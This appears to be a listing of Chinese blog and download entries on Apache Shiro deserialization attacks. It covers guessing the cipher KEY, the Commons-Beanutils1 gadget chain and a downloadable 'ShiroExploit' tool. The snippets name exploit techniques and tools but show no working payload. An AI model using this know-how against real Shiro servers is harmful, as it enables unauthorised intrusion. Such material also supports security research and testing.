2021-06-29 15:38:16shiro反序列化生成KEY 简介 Shiro反序列化时候的第一步需要猜KEY,此番操作就像遍历弱口令似的。 生成KEY的代码 #shengcheng.java import org.apache.shiro.codec.Base64; import javax.crypto.KeyGenerator; ... -
Java反序列化之Commons-Beanutils1链与无 commons-collections的Shiro反序列化利用
2022-02-11 15:29:08commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖 commons-collections这个jar包是为了演示反序列化漏洞,增加了commons-collections依赖,shiro框架本身是没有这个依赖的。那么,实际... -
反序列化利用工具ShiroExploit.V2.51.7z
2021-08-31 10:18:12反序列化利用工具